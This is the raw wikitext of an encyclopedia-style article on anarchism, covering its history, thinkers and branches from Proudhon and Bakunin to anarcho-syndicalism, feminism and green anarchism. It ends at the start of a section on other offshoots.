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      <text xml:space="preserve">{{Anarchism}}
'''Anarchism''' originated as a term of abuse first used against early [[working class]] [[radical]]s including the [[Diggers]] of the [[English Revolution]] and the [[sans-culotte|''sans-culottes'']] of the [[French Revolution]].[http://uk.encarta.msn.com/encyclopedia_761568770/Anarchism.html] Whilst the term is still used in a pejorative way to describe ''&quot;any act that used violent means to destroy the organization of society&quot;''&lt;ref&gt;[http://www.cas.sc.edu/socy/faculty/deflem/zhistorintpolency.html History of International Police Cooperation], from the final protocols of the &quot;International Conference of Rome for the Social Defense Against Anarchists&quot;, 1898&lt;/ref&gt;, it has also been taken up as a positive label by self-defined anarchists.

The word '''anarchism''' is [[etymology|derived from]] the [[Greek language|Greek]] ''[[Wiktionary:&amp;#945;&amp;#957;&amp;#945;&amp;#961;&amp;#967;&amp;#943;&amp;#945;|&amp;#945;&amp;#957;&amp;#945;&amp;#961;&amp;#967;&amp;#943;&amp;#945;]]'' (&quot;without [[archon]]s (ruler, chief, king)&quot;). Anarchism as a [[political philosophy]], is the belief that ''rulers'' are unnecessary and should be abolished, although there are differing interpretations of what this means. Anarchism also refers to related [[social movement]]s) that advocate the elimination of authoritarian institutions, particularly the [[state]].&lt;ref&gt;[http://en.wikiquote.org/wiki/Definitions_of_anarchism Definitions of anarchism] on Wikiquote, accessed 2006&lt;/ref&gt; The word &quot;[[anarchy]],&quot; as most anarchists use it, does not imply [[chaos]], [[nihilism]], or [[anomie]], but rather a harmonious [[anti-authoritarian]] society. In place of what are regarded as authoritarian political structures and coercive economic institutions, anarchists advocate social relations based upon [[voluntary association]] of autonomous individuals, [[mutual aid]], and [[self-governance]]. 
    
While anarchism is most easily defined by what it is against, anarchists also offer positive visions of what they believe to be a truly free society. However, ideas about how an anarchist society might work vary considerably, especially with respect to economics; there is also disagreement about how a free society might be brought about. 

== Origins and predecessors ==

[[Peter Kropotkin|Kropotkin]], and others, argue that before recorded [[history]], human society was organized on anarchist principles.&lt;ref&gt;[[Peter Kropotkin|Kropotkin]], Peter. ''&quot;[[Mutual Aid: A Factor of Evolution]]&quot;'', 1902.&lt;/ref&gt; Most anthropologists follow Kropotkin and Engels in believing that hunter-gatherer bands were egalitarian and lacked division of labour, accumulated wealth, or decreed law, and had equal access to resources.&lt;ref&gt;[[Friedrich Engels|Engels]], Freidrich. ''&quot;[http://www.marxists.org/archive/marx/works/1884/origin-family/index.htm Origins of the Family, Private Property, and the State]&quot;'', 1884.&lt;/ref&gt;
[[Image:WilliamGodwin.jpg|thumb|right|150px|William Godwin]]

Anarchists including the [[The Anarchy Organisation]] and [[Murray Rothbard|Rothbard]] find anarchist attitudes in [[Taoism]] from [[History of China|Ancient China]].&lt;ref&gt;The Anarchy Organization (Toronto). ''Taoism and Anarchy.'' [[April 14]] [[2002]] [http://www.toxicpop.co.uk/library/taoism.htm Toxicpop mirror] [http://www.geocities.com/SoHo/5705/taoan.html Vanity site mirror]&lt;/ref&gt;&lt;ref&gt;[[Murray Rothbard|Rothbard]], Murray. ''&quot;[http://www.lewrockwell.com/rothbard/ancient-chinese.html The Ancient Chinese Libertarian Tradition]&quot;'', an extract from ''&quot;[http://www.mises.org/journals/jls/9_2/9_2_3.pdf Concepts of the Role of Intellectuals in Social Change Toward Laissez Faire]&quot;'', The Journal of Libertarian Studies, 9 (2) Fall 1990.&lt;/ref&gt; [[Peter Kropotkin|Kropotkin]] found similar ideas in [[stoicism|stoic]] [[Zeno of Citium]]. According to Kropotkin, Zeno &quot;repudiated the omnipotence of the state, its intervention and regimentation, and proclaimed the sovereignty of the moral law of the individual&quot;. &lt;ref&gt;[http://www.blackcrayon.com/page.jsp/library/britt1910.html Anarchism], written by Peter Kropotkin, from Encyclopaedia Britannica, 1910]&lt;/ref&gt;

The [[Anabaptist]]s of 16th century Europe are sometimes considered to be religious forerunners of modern anarchism. [[Bertrand Russell]], in his ''History of Western Philosophy'', writes that the Anabaptists &quot;repudiated all law, since they held that the good man will be guided at every moment by [[the Holy Spirit]]...[f]rom this premise they arrive at [[communism]]....&quot;&lt;ref&gt;[[Bertrand Russell|Russell]], Bertrand. ''&quot;Ancient philosophy&quot;'' in ''A History of Western Philosophy, and its connection with political and social circumstances from the earliest times to the present day'', 1945.&lt;/ref&gt; [[Diggers (True Levellers)|The Diggers]] or &quot;True Levellers&quot; were an early communistic movement during the time of the [[English Civil War]], and are considered by some as forerunners of modern anarchism.&lt;ref&gt;[http://www.zpub.com/notes/aan-hist.html An Anarchist Timeline], from Encyclopaedia Britannica, 1994.&lt;/ref&gt;

In the [[modern era]], the first to use the term to mean something other than chaos was [[Louis-Armand de Lom d'Arce de Lahontan, Baron de Lahontan|Louis-Armand, Baron de Lahontan]] in his ''Nouveaux voyages dans l'Amérique septentrionale'', (1703), where he described the [[Native Americans in the United States|indigenous American]] society, which had no state, laws, prisons, priests, or private property, as being in anarchy&lt;ref&gt;[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-12 Dictionary of the History of Ideas - ANARCHISM]&lt;/ref&gt;. [[Russell Means]], a [[libertarian]] and leader in the [[American Indian Movement]], has repeatedly stated that he is &quot;an anarchist, and so are all [his] ancestors.&quot;

In 1793, in the thick of the [[French Revolution]], [[William Godwin]] published ''An Enquiry Concerning Political Justice'' [http://web.bilkent.edu.tr/Online/www.english.upenn.edu/jlynch/Frank/Godwin/pjtp.html]. Although Godwin did not use the word ''anarchism'', many later anarchists have regarded this book as the first major anarchist text, and Godwin as the &quot;founder of philosophical anarchism.&quot; But at this point no anarchist movement yet existed, and the term ''anarchiste'' was known mainly as an insult hurled by the [[bourgeois]] [[Girondins]] at more radical elements in the [[French revolution]].

==The first self-labelled anarchist==
[[Image:Pierre_Joseph_Proudhon.jpg|110px|thumb|left|Pierre Joseph Proudhon]]
{{main articles|[[Pierre-Joseph Proudhon]] and [[Mutualism (economic theory)]]}}

It is commonly held that it wasn't until [[Pierre-Joseph Proudhon]] published ''[[What is Property?]]'' in 1840 that the term &quot;anarchist&quot; was adopted as a self-description. It is for this reason that some claim Proudhon as the founder of modern anarchist theory. In [[What is Property?]] Proudhon answers with the famous accusation &quot;[[Property is theft]].&quot; In this work he opposed the institution of decreed &quot;property&quot; (propriété), where owners have complete rights to &quot;use and abuse&quot; their property as they wish, such as exploiting workers for profit.&lt;ref name=&quot;proudhon-prop&quot;&gt;[[Pierre-Joseph Proudhon|Proudhon]], Pierre-Joseph. ''&quot;[http://www.marxists.org/reference/subject/economics/proudhon/property/ch03.htm Chapter 3. Labour as the efficient cause of the domain of property]&quot;'' from ''&quot;[[What is Property?]]&quot;'', 1840&lt;/ref&gt; In its place Proudhon supported what he called 'possession' - individuals can have limited rights to use resources, capital and goods in accordance with principles of equality and justice. 

Proudhon's vision of anarchy, which he called [[mutualism]] (mutuellisme), involved an exchange economy where individuals and groups could trade the products of their labor using ''labor notes'' which represented the amount of working time involved in production. This would ensure that no one would profit from the labor of others. Workers could freely join together in co-operative workshops. An interest-free bank would be set up to provide everyone with access to the means of production. Proudhon's ideas were influential within French working class movements, and his followers were active in the [[Revolution of 1848]] in France.

Proudhon's philosophy of property is complex: it was developed in a number of works over his lifetime, and there are differing interpretations of some of his ideas. ''For more detailed discussion see [[Pierre-Joseph Proudhon|here]].''

==Max Stirner's Egoism==
{{main articles|[[Max Stirner]] and [[Egoism]]}}

In his ''The Ego and Its Own'' Stirner argued that most commonly accepted social institutions - including the notion of State, property as a right, natural rights in general, and the very notion of society - were mere illusions or ''ghosts'' in the mind, saying of society  that &quot;the individuals are its reality.&quot; He advocated egoism and a form of amoralism, in which individuals would unite in 'associations of egoists' only when it was in their self interest to do so.  For him, property simply comes about through might: &quot;Whoever knows how to take, to defend, the thing, to him belongs property.&quot; And, &quot;What I have in my power, that is my own. So long as I assert myself as holder, I am the proprietor of the thing.&quot;

Stirner never called himself an anarchist - he accepted only the label 'egoist'. Nevertheless, his ideas were influential on many individualistically-inclined anarchists, although interpretations of his thought are diverse.

==American individualist anarchism==
[[Image:BenjaminTucker.jpg|thumb|150px|left|[[Benjamin Tucker]]]]
{{main articles|[[Individualist anarchism]] and [[American individualist anarchism]]}}

In 1825 [[Josiah Warren]] had participated in a [[communitarian]] experiment headed by [[Robert Owen]] called [[New Harmony]], which failed in a few years amidst much internal conflict. Warren blamed the community's failure on a lack of [[individual sovereignty]] and a lack of private property.  Warren proceeded to organise experimenal anarchist communities which respected what he called &quot;the sovereignty of the individual&quot; at [[Utopia (anarchist community)|Utopia]] and [[Modern Times]]. In 1833 Warren wrote and published ''The Peaceful Revolutionist'', which some have noted to be the first anarchist periodical ever published. Benjamin Tucker says that Warren &quot;was the first man to expound and formulate the doctrine now known as Anarchism.&quot; (''Liberty'' XIV (December, 1900):1)

[[Benjamin Tucker]] became interested in anarchism through meeting Josiah Warren and [[William B. Greene]]. He edited and published ''Liberty'' from August 1881 to April 1908; it is widely considered to be the finest individualist-anarchist periodical ever issued in the English language.  Tucker's conception of individualist anarchism incorporated the ideas of a variety of theorists: Greene's ideas on [[mutualism|mutual banking]]; Warren's ideas on [[cost the limit of price|cost as the limit of price]] (a [[heterodox economics|heterodox]] variety of [[labour theory of value]]); [[Proudhon]]'s market anarchism; [[Max Stirner]]'s [[egoism]]; and, [[Herbert Spencer]]'s &quot;law of equal freedom&quot;.  Tucker strongly supported the individual's right to own the product of his or her labour as &quot;[[private property]]&quot;, and believed in a &lt;ref name=&quot;tucker-pay&quot;&gt;[[Benjamin Tucker|Tucker]], Benjamin. ''&quot;[http://www.blackcrayon.com/page.jsp/library/tucker/tucker37.htm Labor and Its Pay]&quot;'' Individual Liberty: Selections From the Writings of Benjamin R. Tucker, Vanguard Press, New York, 1926, Kraus Reprint Co., Millwood, NY, 1973.&lt;/ref&gt;[[market economy]] for trading this property. He argued that in a truly free market system without the state, the abundance of  competition would eliminate profits and ensure that all workers received the full value of their labor. 

Other 19th century individualists included [[Lysander Spooner]], [[Stephen Pearl Andrews]], and [[Victor Yarros]].

==The First International==
[[Image:Bakuninfull.jpg|thumb|150px|right|[[Bakunin|Mikhail Bakunin 1814-1876]]]]
{{main articles|[[International Workingmen's Association]], [[Anarchism and Marxism]]}}

In Europe, harsh reaction followed the revolutions of 1848. Twenty years later in 1864 the [[International Workingmen's Association]], sometimes called the 'First International', united some diverse European revolutionary currents including anarchism. Due to its genuine links to active workers movements the International became signficiant. 

From the start [[Karl Marx]] was a leading figure in the International: he was elected to every succeeding General Council of the association.   The first objections to Marx came from the [[Mutualism|Mutualists]] who opposed communism and statism.  Shortly after [[Mikhail Bakunin]] and his followers joined in 1868, the First International became polarised into two camps, with Marx and Bakunin as their respective figureheads. The clearest difference between the camps was over strategy. The anarchists around Bakunin favoured (in Kropotkin's words) &quot;direct economical struggle against capitalism, without interfering in the political parliamentary agitation.&quot;  At that time Marx and his followers focused on parliamentary activity.

Bakunin characterised Marx's ideas as [[authoritarian]], and predicted that if a Marxist party gained to power its leaders would end up as bad as the [[ruling class]] they had fought against.&lt;ref&gt;[[Mikhail Bakunin|Bakunin]], Mikhail. ''&quot;[http://www.litencyc.com/php/adpage.php?id=1969 Statism and Anarchy]&quot;''&lt;/ref&gt; In 1872 the conflict climaxed with a final split between the two groups at the [[Hague Congress (1872)|Hague Congress]]. This is often cited as the origin of the [[Anarchist_objections_to_marxism|conflict between anarchists and Marxists]]. From this moment the ''[[Social democracy|social democratic]]'' and ''[[Libertarian socialism|libertarian]]'' currents of socialism had distinct organisations including rival [[List of left-wing internationals|'internationals'.]]

==Anarchist Communism==
{{main|Anarchist communism}}
[[Image:PeterKropotkin.jpg|thumb|150px|right|Peter Kropotkin]]

Proudhon and Bakunin both opposed [[communism]], associating it with statism. However, in the 1870s many anarchists moved away from Bakunin's economic thinking (called &quot;collectivism&quot;) and embraced communist concepts. Communists believed the means of production should be owned collectively, and that goods be distributed by need, not labor. [http://nefac.net/node/157]

An early anarchist communist was Joseph Déjacque, the first person to describe himself as &quot;[[libertarian socialism|libertarian]]&quot;.[http://recollectionbooks.com/bleed/Encyclopedia/DejacqueJoseph.htm]&lt;ref&gt;[http://joseph.dejacque.free.fr/ecrits/lettreapjp.htm De l'être-humain mâle et femelle - Lettre à P.J. Proudhon par Joseph Déjacque] (in [[French language|French]])&lt;/ref&gt; Unlike Proudhon, he argued that &quot;it is not the product of his or her labor that the worker has a right to, but to the satisfaction of his or her needs, whatever may be their nature.&quot; He announced his ideas in his US published journal Le Libertaire (1858-1861).

Peter Kropotkin, often seen as the most important theorist, outlined his economic ideas in The Conquest of Bread and Fields, Factories and Workshops. He felt co-operation is more beneficial than competition, illustrated in nature in Mutual Aid: A Factor of Evolution (1897). Subsequent anarchist communists include Emma Goldman and Alexander Berkman. Many in the anarcho-syndicalist movements (see below) saw anarchist communism as their objective. Isaac Puente's 1932 Comunismo Libertario was adopted by the Spanish CNT as its manifesto for a post-revolutionary society.

Some anarchists disliked merging communism with anarchism. Several individualist anarchists maintained that abolition of private property was not consistent with liberty. For example, Benjamin Tucker, whilst professing respect for Kropotkin and publishing his work[http://www.zetetics.com/mac/libdebates/apx1pubs.html], described communist anarchism as &quot;pseudo-anarchism&quot;.&lt;ref name=&quot;tucker-pay&quot;/&gt;

==Propaganda of the deed==
[[Image:JohannMost.jpg|left|150px|thumb|[[Johann Most]] was an outspoken advocate of violence]]
{{main|Propaganda of the deed}}

Anarchists have often been portrayed as dangerous and violent, due mainly to a number of high-profile violent acts, including [[riot]]s, [[assassination]]s, [[insurrection]]s, and [[terrorism]] by some anarchists. Some [[revolution]]aries of the late 19th century encouraged acts of political violence,  such as [[bomb]]ings and the [[assassination]]s of [[head of state|heads of state]] to further anarchism. Such actions have sometimes been called '[[propaganda by the deed]]'. 

One of the more outspoken advocates of this strategy was [[Johann Most]], who said &quot;the existing system will be quickest and most radically overthrown by the annihilation of its exponents. Therefore, massacres of the enemies of the people must be set in motion.&quot;{{fact}} Most's preferred method of terrorism, dynamite, earned him the moniker &quot;Dynamost.&quot;  

However, there is no [[consensus]] on the legitimacy or utility of violence in general. [[Mikhail Bakunin]] and [[Errico Malatesta]], for example, wrote of violence as a necessary and sometimes desirable force in revolutionary settings. But at the same time, they denounced acts of individual terrorism. (Malatesta in &quot;On Violence&quot; and Bakunin when he refuted Nechaev).

Other anarchists, sometimes identified as [[anarcho-pacifists|pacifist anarchists]], advocated complete [[nonviolence]]. [[Leo Tolstoy]], whose philosophy is often viewed as a form of [[Christian anarchism|Christian anarchism]] ''(see below)'', was a notable exponent of [[nonviolent resistance]].

==Anarchism in the labour movement==
{{seealso|Anarcho-syndicalism}}

[[Image:Flag of Anarcho syndicalism.svg|thumb|175px|The red-and-black flag, coming from the experience of anarchists in the labour movement, is particularly associated with anarcho-syndicalism.]]

[[Anarcho-syndicalism]] was an early 20th century working class movement seeking to overthrow capitalism and the state to institute a worker controlled society. The movement pursued [[industrial action]]s, such as [[general strike]], as a primary strategy. Many anarcho-syndicalists believed in [[anarchist communism]], though not all communists believed in syndicalism.

After the [[Paris Commune|1871 repression]] French anarchism reemerged, influencing the ''Bourses de Travails'' of autonomous workers groups and trade unions. From this movement the [[Confédération Générale du Travail]] (General Confederation of Work, CGT) was formed in 1895 as the first major anarcho-syndicalist movement. [[Emile Pataud]] and [[Emile Pouget]]'s writing for the CGT saw [[libertarian communism]] developing from a [[general strike]].  After 1914 the CGT moved away from anarcho-syndicalism due to the appeal of [[Bolshevism]].  French-style syndicalism was a significant movement in Europe prior to 1921, and remained a significant movement in Spain until the mid 1940s.

The [[Industrial Workers of the World]] (IWW), founded in 1905 in the US, espoused [[industrial unionism|unionism]] and sought a [[general strike]] to usher in a stateless society. In 1923 100,000 members existed, with the support of up to 300,000. Though not explicitly anarchist, they organized by rank and file democracy, embodying a spirit of resistance that has inspired many Anglophone syndicalists.

[[Image:CNT_tu_votar_y_ellos_deciden.jpg|thumb|175px|CNT propaganda from April 2004.  Reads: Don't let the politicians rule our lives/ You vote and they decide/ Don't allow it/ Unity, Action, Self-management.]]

Spanish anarchist trade union federations were formed in the 1870's, 1900 and 1910. The most successful was the [[Confederación Nacional del Trabajo]] (National Confederation of Labour: CNT), founded in 1910. Prior to the 1940s the CNT was the major force in Spanish working class politics.  With a membership of 1.58 million in 1934, the CNT played a major role in the [[Spanish Civil War]]. ''See also:'' [[Anarchism in Spain]].

Syndicalists like [[Ricardo Flores Magón]] were key figures in the [[Mexican Revolution]]. [[Latin America|Latin American]] anarchism was strongly influenced, extending to the [[Zapatista Army of National Liberation|Zapatista]] rebellion and the [[factory occupation movements]] in Argentina. In Berlin in 1922 the CNT was joined with the [[International Workers Association]], an anarcho-syndicalist successor to the [[First International]].

Contemporary anarcho-syndicalism continues as a minor force in many socities; much smaller than in the 1910s, 20s and 30s.  

The largest organised anarchist movement today is in Spain, in the form of the [[Confederación General del Trabajo]] and the [[CNT]].  The CGT claims a paid-up membership of 60,000, and received over a million votes in Spanish [[syndical]] elections.  Other active syndicalist movements include the US [[Workers Solidarity Alliance]], and the UK [[Solidarity Federation]].  The revolutionary industrial unionist [[Industrial Workers of the World]] also exists, claiming 2,000 paid members.  Contemporary critics of anarcho-syndicalism and revolutionary industrial unionism claim that they are [[workerist]] and fail to deal with economic life outside work.  Post-leftist critics such as [[Bob Black]] claim anarcho-syndicalism advocates oppressive social structures, such as [[Manual labour|work]] and the [[workplace]].

Anarcho-syndicalists in general uphold principles of workers solidarity, [[direct action]], and self-management.

==The Russian Revolution==
{{main|Russian Revolution of 1917}}

The [[Russian Revolution of 1917]] was a seismic event in the development of anarchism as a movement and as a philosophy.

Anarchists participated alongside the [[Bolsheviks]] in both February and October revolutions, many anarchists initially supporting the Bolshevik coup. However the Bolsheviks soon turned against the anarchists and other left-wing opposition, a conflict which culminated in the 1918 [[Kronstadt rebellion]]. Anarchists in central Russia were imprisoned or driven underground, or joined the victorious Bolsheviks. In [[Ukraine]] anarchists fought in the [[Russian Civil War|civil war]] against both Whites and Bolsheviks within the Makhnovshchina peasant army led by [[Nestor Makhno]]).

Expelled American anarchists [[Emma Goldman]] and [[Alexander Berkman]] before leaving Russia were amongst those agitating in response to Bolshevik policy and the suppression of the Kronstadt uprising. Both wrote classic accounts of their experiences in Russia, aiming to expose the reality of Bolshevik control. For them, [[Bakunin]]'s predictions about the consequences of Marxist rule had proved all too true.

The victory of the Bolsheviks in the October Revolution and the resulting Russian Civil War did serious damage to anarchist movements internationally. Many workers and activists saw Bolshevik success as setting an example; Communist parties grew at the expense of anarchism and other socialist movements. In France and the US for example, the major syndicalist movements of the [[CGT]] and [[IWW]] began to realign themselves away from anarchism and towards the [[Comintern|Communist International]].

In Paris, the [[Dielo Truda]] group of Russian anarchist exiles which included [[Nestor Makhno]] concluded that anarchists needed to develop new forms of organisation in response to the structures of Bolshevism. Their 1926 manifesto, known as the [[Platformism|Organisational Platform of the Libertarian Communists]], was supported by some communist anarchists, though opposed by many others. 

The ''Platform'' continues to inspire some contemporary anarchist groups who believe in an anarchist movement organised around its principles of 'theoretical unity', 'tactical unity', 'collective responsibility' and 'federalism'. Platformist groups today include the [[Workers Solidarity Movement]] in Ireland, the UK's [[Anarchist Federation]], and the late [[North Eastern Federation of Anarchist Communists]] in the northeastern United States and bordering Canada.

==The fight against fascism==
{{main articles|[[Anti-fascism]] and [[Anarchism in Spain]]}}
[[Image:CNT-armoured-car-factory.jpg|right|thumb|270px|[[Spain]], [[1936]]. Members of the [[CNT]] construct [[armoured car]]s to fight against the [[fascist]]s in one of the [[collectivisation|collectivised]] factories.]]
In the 1920s and 1930s the familiar dynamics of anarchism's conflict with the state were transformed by the rise of [[fascism]] in Europe. In many cases, European anarchists faced difficult choices - should they join in [[popular front]]s with reformist democrats and Soviet-led [[Communists]] against a common fascist enemy? Luigi Fabbri, an exile from Italian fascism, was amongst those arguing that fascism was something different:

:&quot;Fascism is not just another form of government which, like all others, uses violence. It is the most authoritarian and the most violent form of government imaginable. It represents the utmost glorification of the theory and practice of the principle of authority.&quot; {{fact}}

In France, where the fascists came close to insurrection in the February 1934 riots, anarchists divided over a 'united front' policy. [http://melior.univ-montp3.fr/ra_forum/en/people/berry_david/fascism_or_revolution.html] In Spain, the [[CNT]] initially refused to join a popular front electoral alliance, and abstention by CNT supporters led to a right wing election victory. But in 1936, the CNT changed its policy and anarchist votes helped bring the popular front back to power. Months later, the ruling class responded with an attempted coup, and the [[Spanish Civil War]] (1936-39) was underway. 

In reponse to the army rebellion [[Anarchism in Spain|an anarchist-inspired]] movement of peasants and workers, supported by armed militias, took control of the major [[city]] of [[Barcelona]] and of large areas of rural Spain where they [[collectivization|collectivized]] the land. But even before the eventual fascist victory in 1939, the anarchists were losing ground in a bitter struggle with the  [[Stalinists]]. The CNT leadership often appeared confused and divided, with some members controversially entering the government. Stalinist-led troops suppressed the collectives, and persecuted both [[POUM|dissident marxists]] and anarchists.

Since the late 1970s anarchists have been involved in fighting the rise of [[neo-fascism|neo-fascist]] groups. In Germany and the United Kingdom some anarchists worked within [[militant]] [[anti-fascism|anti-fascist]] groups alongside members of the [[Marxist]] left. They advocated directly combating fascists with physical force rather than relying on the state.  Since the late 1990s, a similar tendency has developed within US anarchism. ''See also: [[Anti-Racist Action]] (US), [[Anti-Fascist Action]] (UK), [[Antifa]]''

==Religious anarchism==
[[Image:LeoTolstoy.jpg|thumb|150px|[[Leo Tolstoy|Leo Tolstoy]] 1828-1910]]
{{main articles|[[Christian anarchism]] and [[Anarchism and religion]]}}

Most anarchist culture tends to be [[secular]] if not outright [[militant athiesm|anti-religious]].  However, the combination of religious social conscience, historical religiousity amongst oppressed social classes, and the compatibility of some interpretations of religious traditions with anarchism has resulted in religious anarchism.

[[Christian anarchism|Christian anarchists]] believe that there is no higher authority than [[God]], and oppose earthly authority such as [[government]] and established churches. They believe that Jesus' teachings were clearly anarchistic, but were corrupted when &quot;Christianity&quot; was declared the official religion of Rome. Christian anarchists, who follow Jesus' directive to &quot;turn the other cheek&quot;, are strict [[pacifism|pacifists]]. The most famous advocate of Christian anarchism was [[Leo Tolstoy]], author of ''[[The Kingdom of God is Within You]]'', who called for a society based on compassion, nonviolent principles and freedom.  Christian anarchists tend to form [[experimental communities]].  They also occasionally [[tax resistance|resist taxation]].  Many Christian anarchists are [[vegetarianism|vegetarian]] or [[veganism|vegan]]{{fact}}.

Christian anarchy can be said to have roots as old as the religion's birth, as the [[early church]] exhibits many anarchistic tendencies, such as communal goods and wealth. By aiming to obey utterly certain of the Bible's teachings certain [[anabaptism|anabaptist]] groups of sixteenth century Europe attempted to emulate the early church's social-economic organisation and philosophy by regarding it as the only social structure capable of true obediance to Jesus' teachings, and utterly rejected (in theory) all earthly hierarchies and authority (and indeed non-anabaptists in general) and violence as ungodly. Such groups, for example the [[Hutterites]], typically went from initially anarchistic beginnings to, as their movements stabalised, more authoritarian social models.

[[Chinese Anarchism]] was most influential in the 1920s.  Strands of Chinese anarchism included [[Tai-Xu]]'s [[Buddhist Anarchism]] which was influenced by Tolstoy and the [[well-field system]].

[[Neopaganism]], with its focus on the environment and equality, along with its often decentralized nature, has lead to a number of neopagan anarchists. One of the most prominent is [[Starhawk]], who writes extensively about both [[spirituality]] and [[activism]].

==Anarchism and feminism==
[[Image:Goldman-4.jpg|thumb|left|150px|[[Emma Goldman]]]]
{{main|Anarcha-Feminism}}

Early [[French feminism|French feminists]] such as [[Jenny d'Héricourt]] and [[Juliette Adam]] criticised the [[mysogyny]] in the anarchism of [[Proudhon]] during the 1850s.
 
Anarcha-feminism is a kind of [[radical feminism]] that espouses the belief that [[patriarchy]] is a fundamental problem in society.  While anarchist feminism has existed for more than a hundred years, its explicit formulation as ''anarcha-feminism'' dates back to the early 70s&lt;ref&gt;[http://www.anarcha.org/sallydarity/Anarcho-FeminismTwoStatements.htm Anarcho-Feminism - Two Statements - Who we are: An Anarcho-Feminist Manifesto]&lt;/ref&gt;, during the [[second-wave feminism|second-wave]] feminist movement.  Anarcha-feminism, views [[patriarchy]] as the first manifestation of hierarchy in human history; thus, the first form of oppression occurred in the dominance of male over female.  Anarcha-feminists then conclude that if feminists are against patriarchy, they must also be against all forms of [[hierarchy]], and therefore must reject the authoritarian nature of the state and capitalism. {{fact}}

Anarcho-primitivists see the creation of gender roles and patriarchy a creation of the start of [[civilization]], and therefore consider primitivism to also be an anarchist school of thought that addresses feminist concerns.  [[Eco-feminism]] is often considered a feminist variant of green anarchist feminist thought.  

Anarcha-feminism is most often associated with early 20th-century authors and theorists such as [[Emma Goldman]] and [[Voltairine de Cleyre]], although even early first-wave feminist [[Mary Wollstonecraft]] held proto-anarchist views, and William Godwin is often considered a feminist anarchist precursor. It should be noted that Goldman and de Cleyre, though they both opposed the state, had opposing philosophies, as de Cleyre explains: &quot;Miss Goldman is a communist; I am an individualist. She wishes to destroy the right of property, I wish to assert it. I make my war upon privilege and authority, whereby the right of property, the true right in that which is proper to the individual, is annihilated. She believes that co-operation would entirely supplant competition; I hold that competition in one form or another will always exist, and that it is highly desirable it should.&quot;  In the [[Spanish Civil War]], an anarcha-feminist group, &quot;Free Women&quot;, organized to defend both anarchist and feminist ideas.

In the modern day anarchist movement, many anarchists, male or female, consider themselves feminists, and anarcha-feminist ideas are growing.  The publishing of Quiet Rumors, an anarcha-feminist reader, has helped to spread various kinds of anti-authoritarian and anarchist feminist ideas to the broader movement. Wendy McElroy has popularized an individualist-anarchism take on feminism in her books, articles, and individualist feminist website.&lt;ref&gt;[http://www.ifeminists.net I-feminists.net]&lt;/ref&gt;

==Anarcho-capitalism==
[[Image:Murray Rothbard Smile.JPG|thumb|left|150px|[[Murray Rothbard]] (1926-1995)]]
{{main|Anarcho-capitalism}}
Anarcho-capitalism is a predominantly United States-based theoretical tradition that desires a stateless society with the economic system of [[free market]] [[capitalism]]. Unlike other branches of anarchism, it does not oppose [[profit]] or capitalism. Consequently, most anarchists do not recognise anarcho-capitalism as a form of anarchism.

[[Murray Rothbard]]'s synthesis of [[classical liberalism]] and [[Austrian economics]] was germinal for the development of contemporary anarcho-capitalist theory. He defines anarcho-capitalism in terms of the [[non-aggression principle]], based on the concept of [[Natural Law]]. Competiting theorists use egoism, [[utilitarianism]] (used by [[David Friedman]]), or [[contractarianism]] (used by [[Jan Narveson]]). Some [[minarchism|minarchists]], such as [[Ayn Rand]], [[Robert Nozick]], and [[Robert A. Heinlein]], have influenced anarcho-capitalism.

Some anarcho-capitalists, along with some right-wing libertarian historians such as David Hart and [[Ralph Raico]], considered similar philosophies existing prior to Rothbard to be anarcho-capitalist, such as those of [[Gustave de Molinari]] and [[Auberon Herbert]] &lt;ref&gt;[[Gustave de Molinari|Molinari]], Gustave de. ''[http://praxeology.net/MR-GM-PS.htm Preface to &quot;The Production of Security&quot;]'', translated by J. Huston McCulloch, Occasional Papers Series #2 (Richard M. Ebeling, Editor), New York: The Center for Libertarian Studies, May 1977.&lt;/ref&gt;&lt;ref name=&quot;david-hart&quot;/&gt;&lt;ref&gt;[[Ralph Raico|Raico]], Ralph [http://www.mises.org/story/1787 ''Authentic German Liberalism of the 19th Century''] Ecole Polytechnique, Centre de Recherce en Epistemologie Appliquee, Unité associée au CNRS (2004).&lt;/ref&gt; Opponents of anarcho-capitalists dispute these claims.&lt;ref&gt;McKay, Iain; Elkin, Gary; Neal, Dave ''et al'' [http://www.infoshop.org/faq/append11.html Replies to Some Errors and Distortions in Bryan Caplan's &quot;Anarchist Theory FAQ&quot; version 5.2] ''An Anarchist FAQ Version 11.2'' Accessed February 20, 2006.&lt;/ref&gt;

The place of anarcho-capitalism within anarchism, and indeed whether it is a form of anarchism at all, is highly controversial. For more on this debate see ''[[Anarchism and anarcho-capitalism]]''.

==Anarchism and the environment==
{{seealso|Anarcho-primitivism|Green anarchism|Eco-anarchism|Ecofeminism}}

Since the late 1970s anarchists in Anglophone and European countries have been taking action for the natural environment. [[Eco-anarchism|Eco-anarchists]] or [[Green anarchism|Green anarchists]] believe in [[deep ecology]].  This is a worldview that embraces [[biodiversity]] and [[sustainability]]. Eco-anarchists often use [[direct action]] against what they see as earth-destroying institutions. Of particular importance is the [[Earth First!]] movement, that takes action such as [[tree sitting]]. Another important component is [[ecofeminism]], which sees the domination of nature as a metaphor for the domination of women. Green anarchism also involves a critique of industrial capitalism, and, for some green anarchists, civilization itself.{{fact}}

Primitivism is a predominantly Western philosophy that advocates a return to a pre-industrial and usually pre-agricultural society.  It develops a critique of industrial civilization.  In this critique [[technology]] and [[development]] have [[alienation|alienated]] people from the natural world. This philosophy develops themes present in the political action of the [[Luddites]] and the writings of [[Jean-Jacques Rousseau]]. Primitivism developed in the context of the [[Reclaim the Streets]], Earth First! and the [[Earth Liberation Front]] movements. [[John Zerzan]] wrote that [[civilization]] &amp;mdash; not just the state &amp;mdash; would need to fall for anarchy to be achieved.{{fact}} Anarcho-primitivists point to the anti-authoritarian nature of many 'primitive' or hunter-gatherer societies throughout the world's history, as examples of anarchist societies.

==Other branches and offshoots==
Anarchism generates many eclectic and syncretic philosophies and movements.  Since the Western social formet in the 1960s and 1970s a number new of movements and schools have appeared.  Most of these stances are limited to even smaller numbers than the schools and movements listed above.

[[Image:Hakim Bey.jpeg|thumb|right|[[Hakim Bey]]]]
